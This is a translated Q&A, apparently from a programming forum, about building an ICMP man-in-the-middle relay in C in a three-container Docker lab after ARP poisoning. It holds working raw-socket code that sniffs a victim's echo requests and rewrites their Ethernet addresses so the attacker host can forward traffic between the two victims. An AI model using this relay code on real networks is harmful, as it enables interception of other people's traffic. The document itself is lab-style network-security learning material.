c - 使用 ping 回显请求在 C 语言中进行中间人攻击

Question

我正在 C 中实现中间人攻击。有三个 docker 容器:主机 A(发送者)、主机 B(接收者)和主机 M(攻击者)。
我的目标是从主机 A ping 主机 B，但在 M 处嗅探来自 A 的回声请求，然后将回声请求从 M 中继到 B。
我已经做过ARP中毒了。 ICMP 数据包正从 A 发送到 M。现在我正在尝试将回声请求从 M 中继到 B。有趣的事实是:数据包也在被中继，但是 A 每 5 秒发送 1 个回声请求( ping -i 5 IP-hostB )，M 正在向主机 B 泛洪回显请求。为什么会发生这种情况？仅当 M 收​​到回声请求时，我才中继数据包。那么 M 从哪里得到洪泛的回声请求以进行中继？
编辑 在使用相同的套接字接收和发送数据包后，ping 泛洪现在已停止。但是现在回声请求正在从 M 正确中继到 B(最初从 A 发送)。但是主机 B 没有为那些回声响应发送回声回复。我用过 tcpdump检查 B 是否收到回声请求，而 B 确实收到了请求。为什么 B 不发回回复？我以为是因为 B 的 arp 缓存中毒了。但我做了 arp -a在主机 B 上，它知道主机 A 的 MAC 地址是什么。
知道是什么导致 B 不发送回声回复吗？

相关中继代码:

static unsigned short compute_checksum(unsigned short *addr,
                                       unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
                              const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);


int main()
{
    int saddr_size, data_size;
    struct sockaddr saddr;

    unsigned char *buffer = (unsigned char *) malloc(65536);

    int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    //setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );

    if(sock_raw < 0) {
        //Print the error with proper message
        perror("Socket Error");
        return 1;
    }

    while(1) {
        saddr_size = sizeof saddr;
        //Receive a packet
        data_size = recvfrom(sock_raw, buffer, 65536, 0,
                             &saddr, (socklen_t*)&saddr_size);
        // data_size = recv(sock_raw, buffer, 65536, 0);
        if(data_size <0 ) {
            printf("Recvfrom error , failed to get packets\n");
            return 1;
        }
        relay_icmp_packet(buffer, data_size);
    }
    close(sock_raw);
    printf("Finished");
    return 0;
}

void relay_icmp_packet(unsigned char* buffer, int size)
{
    // Host A -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:05
    // Host B -> IP: 10.9.0.6   MAC: 02:42:0a:09:00:06
    // Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69

    int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    eth->h_dest[0] = 0X02;
    eth->h_dest[1] = 0X42;
    eth->h_dest[2] = 0X0A;
    eth->h_dest[3] = 0X09;
    eth->h_dest[4] = 0X00;
    eth->h_dest[5] = 0X06;

    struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    memset(&source, 0, sizeof(source));
    source.sin_addr.s_addr = iph->saddr;
    // printf("%s\n", inet_ntoa(source.sin_addr));

    if (!(iph->saddr == inet_addr("10.9.0.5")
        && iph->daddr== inet_addr("10.9.0.6")))
        return;

    struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
    compute_ip_checksum(iph);
    icmph->checksum = 0;
    icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));

    struct sockaddr_ll device;
    memset(&device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret = -5;
    // ret = send(sockid, eth, size, 0);
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)&device, sizeof(device));
}

/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */

Answer 1

我通过更改中继数据包的以太网 header 解决了这个问题。最初我以为我只需要更改目标 MAC 地址，因为目标 IP 已经正确。但实际上它更简单。让我重申一下这个场景。
共有三台主机:A、B 和 M，其中 M 是攻击者。 A 和 B 的 ARP 缓存中毒，因此 A 认为 B 的 MAC 地址是 MACM，B 认为 A 的 MAC 地址是 MACM。
当 A 向 B 发送 ICMP 数据包时，它会转到 M。M 需要将源 MAC 更改为 MACM，将目标 MAC 更改为 MACB，因为通过 ARPB，B 认为 MACM 实际上是 A 的 MAC 地址。
因此，当我最初仅更改目标 MAC 地址时，B 正在接收 ICMP 回显请求，但由于源 IP 和源 MAC 与 B 的 ARP 缓存不匹配而将其丢弃。
修复后，以下工作。

void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
{
    // sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    struct ethhdr *eth = (struct ethhdr *)buffer;
    unsigned short ethdrlen = sizeof(struct ethhdr);

    struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
    unsigned short iphdrlen =iph->ihl*4;

    if (iph->protocol != 1) return;

    if (iph->saddr == inet_addr("10.9.0.5")
        && iph->daddr== inet_addr("10.9.0.6")) {
        eth->h_source[0] = 0X02;
        eth->h_source[1] = 0X42;
        eth->h_source[2] = 0X0A;
        eth->h_source[3] = 0X09;
        eth->h_source[4] = 0X00;
        eth->h_source[5] = 0X69;
        eth->h_dest[0] = 0X02;
        eth->h_dest[1] = 0X42;
        eth->h_dest[2] = 0X0A;
        eth->h_dest[3] = 0X09;
        eth->h_dest[4] = 0X00;
        eth->h_dest[5] = 0X06;
    } else if (iph->saddr == inet_addr("10.9.0.6")
        && iph->daddr== inet_addr("10.9.0.5")) {
        eth->h_source[0] = 0X02;
        eth->h_source[1] = 0X42;
        eth->h_source[2] = 0X0A;
        eth->h_source[3] = 0X09;
        eth->h_source[4] = 0X00;
        eth->h_source[5] = 0X69;
        eth->h_dest[0] = 0X02;
        eth->h_dest[1] = 0X42;
        eth->h_dest[2] = 0X0A;
        eth->h_dest[3] = 0X09;
        eth->h_dest[4] = 0X00;
        eth->h_dest[5] = 0X05;
    } else {
        printf("FUCK\n");
        return;
    }

    struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + ethdrlen);
    int header_size =  sizeof(struct ethhdr) + iphdrlen + sizeof icmph;

    iph->check = 0;
    iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
    icmph->checksum = 0;
    icmph->checksum = compute_checksum((uint16_t *)icmph,
                                       size - ethdrlen - iphdrlen);

    struct sockaddr_ll device;
    memset(&device, 0, sizeof device);
    device.sll_ifindex = if_nametoindex("eth0");

    int ret;
    ret = sendto(sockid, eth, size, 0,
                 (const struct sockaddr *)&device, sizeof(device));

    if (ret > 0) {
        printf("[%d] ICMP packet relayed to ", ret);
        PRINT_MAC_ADDRESS(stdout, eth->h_dest);
    }

    // close(sockid);
}